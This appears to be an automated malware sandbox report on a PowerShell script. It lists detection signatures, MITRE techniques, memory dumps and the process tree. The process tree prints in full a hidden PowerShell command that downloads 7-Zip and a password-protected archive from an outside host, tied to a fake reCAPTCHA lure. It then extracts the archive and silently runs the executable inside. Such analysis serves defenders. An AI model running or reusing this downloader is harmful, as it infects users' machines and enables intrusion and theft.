Analysis
- user interaction
yes - max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
05/05/2026, 07:45
General
- Target script.ps1
- Size 4KB
- Sample260505-jlsqfaex4m
- SHA256 0ff91511e6d7d2d58e0e605c159bd84fba9c2311672fa37b9f94c112002a5045
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Powershell Invoke Web Request.
- Downloads MZ/PE file 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$g7='7z';$h8='wh195dV89dWg';$i9=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $i9 -Force|Out-Null;$j10=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.exe');$k11=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.'+$g7);$l12=0;for($m13=0;$m13 -lt 3 -and -not $l12;$m13++){try{if(-not (Test-Path $j10)){Invoke-WebRequest -Uri 'https://nslsconscloud.beer/api/7z.exe' -OutFile $j10 -UseBasicParsing}Invoke-WebRequest -Uri 'https://nslsconscloud.beer/api/index.php?a=dl&token=027e8594694c63264e7550cff59b2d4a23c9397c3297155819949da8ba1d14fd&src=recaptcha&cb=chrome&ref=https%3A%2F%2Fcuprumas.com%2Fchecks%2Frecaped.php&mode=recaptcha' -OutFile $k11 -UseBasicParsing;if(Test-Path $k11){$l12=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $k11)){exit};$n14=Join-Path $i9 ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $n14 -Force|Out-Null;$o15=@('x','-y');if($h8 -ne ''){$o15+=('-p'+$h8)}$o15+=('-o'+$n14);$o15+=$k11;if(Test-Path $j10){& $j10 @o15|Out-Null}else{Start-Process -FilePath $k11 -WindowStyle Hidden};$p16=Get-ChildItem -Path $n14 -Filter *.exe -Recurse -File|Select-Object -First 1;$q17=Get-ChildItem -Path $n14 -Filter *.msi -Recurse -File|Select-Object -First 1;$r18=$null;$s19=$null;if($p16){$r18=$p16.FullName;$s19=$p16.Directory.FullName}elseif($q17){$r18=$q17.FullName;$s19=$q17.Directory.FullName}else{$r18=$k11};if($r18){if($s19){Start-Process -FilePath $r18 -WorkingDirectory $s19 -WindowStyle Hidden}else{Start-Process -FilePath $r18 -WindowStyle Hidden}};try{Remove-Item -LiteralPath $k11 -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $j10){Remove-Item -LiteralPath $j10 -Force -ErrorAction SilentlyContinue}}catch{};2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ygljm52p.by3.ps1
memory/556-1-0x000001E773530000-0x000001E773552000-memory.dmp
memory/556-11-0x000001E772D50000-0x000001E772DA5000-memory.dmp
memory/556-12-0x000001E772E70000-0x000001E772E7C000-memory.dmp
memory/556-0-0x000001E773330000-0x000001E773340000-memory.dmp
memory/1864-23-0x0000020735550000-0x0000020735560000-memory.dmp
memory/1864-14-0x0000020735550000-0x0000020735560000-memory.dmp
memory/1864-24-0x0000020735550000-0x0000020735560000-memory.dmp
memory/1864-25-0x000002071D0C0000-0x000002071D115000-memory.dmp
memory/1864-26-0x000002071D1C0000-0x000002071D1CC000-memory.dmp
memory/1864-27-0x000002071D430000-0x000002071D438000-memory.dmp
memory/1864-43-0x000002071D1C0000-0x000002071D1CC000-memory.dmp
memory/1864-42-0x000002071D0C0000-0x000002071D115000-memory.dmp
memory/1864-44-0x000002071D430000-0x000002071D438000-memory.dmp